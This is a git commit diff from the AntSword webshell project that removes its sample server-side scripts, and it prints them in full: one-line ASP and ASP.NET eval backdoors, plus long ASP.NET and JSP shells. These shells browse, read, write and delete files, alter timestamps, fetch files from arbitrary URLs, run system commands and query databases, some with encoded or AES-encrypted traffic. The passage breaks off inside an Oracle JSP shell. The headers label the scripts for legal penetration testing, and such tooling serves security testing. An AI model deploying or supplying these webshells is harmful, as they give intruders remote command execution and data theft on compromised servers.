Commit 2ea82434 authored by Medicean's avatar Medicean

(Remove:Shells) 移除 shell script 示例, 转移至 http://github.com/antswordProject/AwesomeScript 仓库下

parent 3fc70481
## Shell-Scripts
> 此目录用于存放一些示例的服务端脚本文件,仅供合法的渗透测试以及爱好者参考学习,请勿用于非法用途,否则将追究其相关责任!
### ASP
1. [Asp_Eval_xxxx_Script](./asp_eval_xxxx_script.asp)
### ASP.Net
> .aspx .ashx
1. [ASP.Net Custom Script for ODBC](./asp.net_custom_script_for_odbc.aspx)
2. [ASP.Net eval Script](./asp.net_eval_script.aspx)
### PHP
1. [PHP Custom Script for Mysql](./php_custom_script_for_mysql.php)
2. [PHP Create_Function Script](./php_create_function_script.php)
3. [PHP Assert Script](./php_assert_script.php)
### JSP
1. [JSP Custom Script for Mysql](./jsp_custom_script_for_mysql.jsp)
2. [JSPX Custom Script for Mysql](./jspx_custom_script_for_mysql.jspx)
<%--
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword ASP.Net Custom Script for ODBC
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
*
* 使用说明:
* 1. AntSword >= v1.1-dev
* 2. 创建 Shell 时选择 custom 模式连接
* 3. 数据库连接使用 ODBC 连接字符串:
* 可以通过 ASPX 类型 Shell 查看部分连接字符串,具体参见 MSDN 官方文档:https://msdn.microsoft.com/zh-cn/library/system.data.odbc.odbcconnection.connectionstring(v=vs.80).aspx
* 例如:
* (1) MySQL
* Driver={MySql ODBC 5.2 Unicode Driver};Server=localhost;database=information_schema;UID=root;PWD=root;
* (2) SQLServer
* Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=sa;
*
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
*
* 5. 文件后缀可为 .aspx .ashx 只要是 ASP.Net 解析的文件后缀都是可以的。
*
* ChangeLog:
*
* Date: 2016/08/24 v1.0
* 1. 文件系统 和 terminal 管理
* 2. ODBC 数据库支持
* 3. 支持 base64 和 hex 编码
**/
--%>
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
using System.Net;
using System.Text;
using System.Data;
using System.Data.SqlClient;
using System.Diagnostics;
public class Handler : IHttpHandler {
public String pwd = "ant";
public String cs = "UTF-8";
public String encoder = "";
public void ProcessRequest(HttpContext context){
String Z = context.Request.Form[pwd];
if (Z != "") {
String Z0 = decode(context.Request.Form["z0"]);
String Z1 = decode(context.Request.Form["z1"]);
String Z2 = decode(context.Request.Form["z2"]);
String Z3 = decode(context.Request.Form["z3"]);
String R = "";
try{
switch (Z) {
case "A": {
String[] c = Directory.GetLogicalDrives();
R = String.Format("{0}\t", context.Server.MapPath("/"));
for (int i = 0; i < c.Length; i++)
R += c[i][0] + ":";
break;
}
case "B": {
DirectoryInfo m = new DirectoryInfo(Z1);
foreach (DirectoryInfo D in m.GetDirectories()){
R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
}
foreach (FileInfo D in m.GetFiles()){
R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
}
break;
}
case "C": {
StreamReader m = new StreamReader(Z1, Encoding.GetEncoding(cs));
R = m.ReadToEnd();
m.Close();
break;
}
case "D": {
StreamWriter m = new StreamWriter(Z1, false, Encoding.GetEncoding(cs));
m.Write(Z2);
R = "1";
m.Close();
break;
}
case "E": {
if (Directory.Exists(Z1)){
Directory.Delete(Z1, true);
}else{
File.Delete(Z1);
}
R = "1";
break;
}
case "F": {
context.Response.Clear();
context.Response.Write("\x2D\x3E\x7C");
context.Response.WriteFile(Z1);
context.Response.Write("\x7C\x3C\x2D");
goto End;
}
case "U": {
String P = Z1;
byte [] B = new Byte[Z2.Length/2];
for(int i=0; i < Z2.Length; i+=2){
B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
}
FileStream fs = new FileStream(Z1, FileMode.Create);
fs.Write(B, 0, B.Length);
fs.Close();
R = "1";
break;
}
case "H": {
CP(Z1, Z2, context);
R = "1";
break;
}
case "I": {
if (Directory.Exists(Z1)){
Directory.Move(Z1, Z2);
}else{
File.Move(Z1, Z2);
}
R = "1";
break;
}
case "J": {
Directory.CreateDirectory(Z1);
R = "1";
break;
}
case "K": {
DateTime TM = Convert.ToDateTime(Z2);
if (Directory.Exists(Z1)){
Directory.SetCreationTime(Z1, TM);
Directory.SetLastWriteTime(Z1, TM);
Directory.SetLastAccessTime(Z1, TM);
}else{
File.SetCreationTime(Z1, TM);
File.SetLastWriteTime(Z1, TM);
File.SetLastAccessTime(Z1, TM);
}
R = "1";
break;
}
case "L": {
HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
RQ.Method = "GET";
RQ.ContentType = "application/x-www-form-urlencoded";
HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
Stream WF = WB.GetResponseStream();
FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
int i;
byte[] buffer = new byte[1024];
while (true){
i = WF.Read(buffer, 0, buffer.Length);
if (i < 1){
break;
}
FS.Write(buffer, 0, i);
}
WF.Close();
WB.Close();
FS.Close();
R = "1";
break;
}
case "M": {
ProcessStartInfo c = new ProcessStartInfo(Z1);
Process e = new Process();
StreamReader OT, ER;
c.UseShellExecute = false;
c.RedirectStandardInput = true;
c.RedirectStandardOutput = true;
c.RedirectStandardError = true;
c.CreateNoWindow = true;
e.StartInfo = c;
c.Arguments = "/c " + Z2;
e.Start();
OT = e.StandardOutput;
ER = e.StandardError;
e.Close();
R = OT.ReadToEnd() + ER.ReadToEnd();
break;
}
case "N": {
System.Data.DataSet ds = new System.Data.DataSet();
String strCon = Z1;
string sql = "show databases";
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
dataAdapter.Fill(ds);
R = parseDataset(ds, "\t", "\t", false);
}
break;
}
case "O": {
String strCon = Z1, strDb = Z2;
System.Data.DataSet ds = new System.Data.DataSet();
string sql = "show tables from " + strDb;
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
dataAdapter.Fill(ds);
R = parseDataset(ds, "\t", "\t", false);
}
break;
}
case "P": {
String strCon = Z1, strDb = Z2, strTable = Z3;
System.Data.DataSet ds = new System.Data.DataSet();
string sql = "select * from "+strDb+"."+strTable+" limit 0,0";
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
dataAdapter.Fill(ds);
R = parseDataset(ds, "\t", "", true);
}
break;
}
case "Q":{
String strCon = Z1, sql = Z2;
System.Data.DataSet ds = new System.Data.DataSet();
using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){
dataAdapter.Fill(ds);
R = parseDataset(ds, "\t|\t", "\r\n", true);
}
break;
}
default: goto End;
}
}catch(Exception E){
R = "ERROR:// "+E.Message.ToString();
}
context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D");
End:;
}
}
public bool IsReusable{
get {
return false;
}
}
public void CP(String S,String D,HttpContext context){
if(Directory.Exists(S)){
DirectoryInfo m=new DirectoryInfo(S);
Directory.CreateDirectory(D);
foreach(FileInfo F in m.GetFiles()){
File.Copy(S+"\\"+F.Name,D+"\\"+F.Name);
}
foreach(DirectoryInfo F in m.GetDirectories()){
CP(S + "\\" + F.Name, D + "\\" + F.Name, context);
}
}else{
File.Copy(S,D);
}
}
public String HexAsciiConvert(String hex) {
StringBuilder sb = new StringBuilder();
int i;
for(i=0; i< hex.Length; i+=2){
sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));
}
return sb.ToString();
}
public String decode(String src){
String ret;
try{
switch (encoder) {
case "base64": {
ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src));
break;
}
case "hex": {
ret = HexAsciiConvert(src);
break;
}
default:{
ret = src;
break;
}
}
}catch(Exception E){
ret = src;
}
return ret;
}
public string parseDataset(DataSet ds, String columnsep, String rowsep, bool needcoluname){
if (ds == null || ds.Tables.Count <= 0){
return "Status" + columnsep + rowsep + "True" + columnsep + rowsep;
}
StringBuilder sb = new StringBuilder();
if(needcoluname){
for(int i = 0; i < ds.Tables[0].Columns.Count; i++){
sb.AppendFormat("{0}{1}",ds.Tables[0].Columns[i].ColumnName, columnsep);
}
sb.Append(rowsep);
}
foreach (DataTable dt in ds.Tables){
foreach (DataRow dr in dt.Rows){
for (int i = 0; i < dr.Table.Columns.Count; i++){
sb.AppendFormat("{0}{1}", ObjToStr(dr[i]), columnsep);
}
sb.Append(rowsep);
}
}
return sb.ToString();
}
public string ObjToStr(object ob){
if (ob == null){
return string.Empty;
}else
return ob.ToString();
}
}
\ No newline at end of file
<%--
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword ASP.Net eval Script
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
* pwd = ant
*/
--%>
<%@ Page Language="Jscript"%>
<% eval(Request.Item["ant"],"unsafe"); %>
\ No newline at end of file
<!--
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword ASP eval xxxx Script
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
*
* 密码: ant
*
* 此脚本需与 asp xxxxdog 编码器配套使用
-->
<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
\ No newline at end of file
<%--
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
———————————————————————————————————————————————
AntSword JSP Custom Script for Mysql
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
———————————————————————————————————————————————
说明:
1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接:
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
注意:以上是两行
4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
ChangeLog:
v1.7
1. 新增 AES 编码/解码 支持 (thx @Ch1ngg)
2. 新增 Version, 直接访问不带任何参数会返回当前 shell 的版本号
v1.6
1. 新增 4 种解码器支持
v1.5
1. 修正 base64 编码器下连接数据库 characterEncoding 出错
v1.4
1. 修正 windows 下基础路径获取盘符会出现小写的情况
v1.3
1. 修正上传文件超过1M时的bug
2. 修正weblogic war 包布署获取路径问题
3. 修正文件中文字符问题
Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误
2. 修正一些注释的细节
Date: 2016/03/26 v1
1. 文件系统 和 terminal 管理
2. mysql 数据库支持
3. 支持 base64 和 hex 编码
--%>
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,javax.crypto.*,java.security.*,javax.crypto.spec.*" contentType="text/html;charset=UTF-8"%>
<%!
// #################################################################
String Pwd = "ant"; //连接密码
// 编码器
String encoder = ""; // default (明文)
// String encoder = "base64"; // base64
// String encoder = "hex"; // hex(推荐)
// String encoder = "aes"; // aes(加密方式见下文aes配置)
// 解码器
String decoder = ""; // default (明文)
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// String decoder = "aes_base64"; // aes(base64) (加密方式见下文aes配置)
// 其它配置
String cs = "UTF-8"; // 字符集编码
String SessionKey = "CUSTOMSESSID"; // 自定义sessionkey id
String RetS = "LT58"; // 数据起始分割符 base64
String RetE = "fDwt"; // 数据结束分割符 base64
// aes 加密配置项
/*
* aes-128-cfb_zero_padding:
* - aes_mode: CFB
* - aes_padding: NoPadding
* - aes_keylen: 16
* aes-256-ecb_zero_padding:
* - aes_mode: ECB
* - aes_padding: NoPadding
* - aes_keylen: 32
*/
// 注意: 以下4项为 encoder/decoder 共用
// 如果需要请求和返回采用不同方式, 自行修改
String aes_mode = "CFB"; // EBC|ECB|CFB|
String aes_padding = "NoPadding"; // NoPadding|PKCS5Padding|PKCS7Padding
int aes_keylen = 16; // 16|32 // 16(AES-128) 32(AES-256)
String aes_key_padding = "a"; // 获取到的 key 位数不够时填充字符
// ################################################################
String AesKey = "";
String Version = "1.7";
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "show databases";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "show tables from " + dbname;
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " limit 0,0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t";
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1] + "&characterEncoding=" +encode;
Connection c = DriverManager.getConnection(url);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->"+"|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|"+"<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String asenc(String str, String decode) throws Exception{
if(decode.equals("hex") || decode=="hex"){
String ret = "";
for (int i = 0; i < str.length(); i++) {
int ch = (int) str.charAt(i);
String s4 = Integer.toHexString(ch);
ret = ret + s4;
}
return ret;
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}else if(decode.equals("aes_base64") || decode == "aes_base64"){
String sb1 = "";
sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
return sb1.replace("\r\n","");
}
return str;
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,cs);
}else if(encode.equals("aes") || encode == "aes") {
String str1 = AesDecrypt(AesKey, str);
return str1.trim();
}
return str;
}
String AesEncrypt(String key, String cleartext) throws Exception {
IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);
byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
String sb = encoder.encode(encryptedData);
return sb;
}
String AesDecrypt(String key ,String encrypted) throws Exception {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
byte[] byteMi = decoder.decodeBuffer(encrypted);
IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
byte[] decryptedData = cipher.doFinal(byteMi);
return new String(decryptedData, "UTF-8");
}
String getKeyFromCookie(Cookie[] cookies){
String key = "";
StringBuilder result = new StringBuilder();
if( cookies != null ){
for (Cookie c : cookies) {
if (c.getName().equals(SessionKey)) {
key = c.getValue();
break;
}
}
}
if(key.length() < aes_keylen){
for(int i=0;key.length() < aes_keylen;i++){
key += aes_key_padding;
}
}if(key.length() > aes_keylen){
key = key.substring(0,aes_keylen);
}
return key;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}%>
<%
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer("");
Cookie cookie = new Cookie(SessionKey, session.getId());
response.addCookie(cookie);
try {
AesKey = getKeyFromCookie(request.getCookies());
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0")+""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3};
output.append(decode(RetS,"base64"));
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}else{
sb.append(Version);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
try {
output.append(asenc(sb.toString(), decoder));
}catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
output.append(decode(RetE, "base64"));
out.print(output.toString());
%>
\ No newline at end of file
<%--
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
———————————————————————————————————————————————
AntSword JSP Custom Script for Oracle
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
———————————————————————————————————————————————
说明:
1. AntSword >= v2.1.0
2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接:
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:@127.0.0.1:1521/test
user
password
注意:以上是4行
4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
ChangeLog:
Ver:1.5
--%>
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" contentType="text/html;charset=UTF-8"%>
<%!
// ################################################
String Pwd = "ant"; //连接密码
// 编码器 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 字符编码
// 解码器 4 选 1
String decoder = "";
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// ################################################
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+dbname+"' ORDER BY 1)";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t";
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
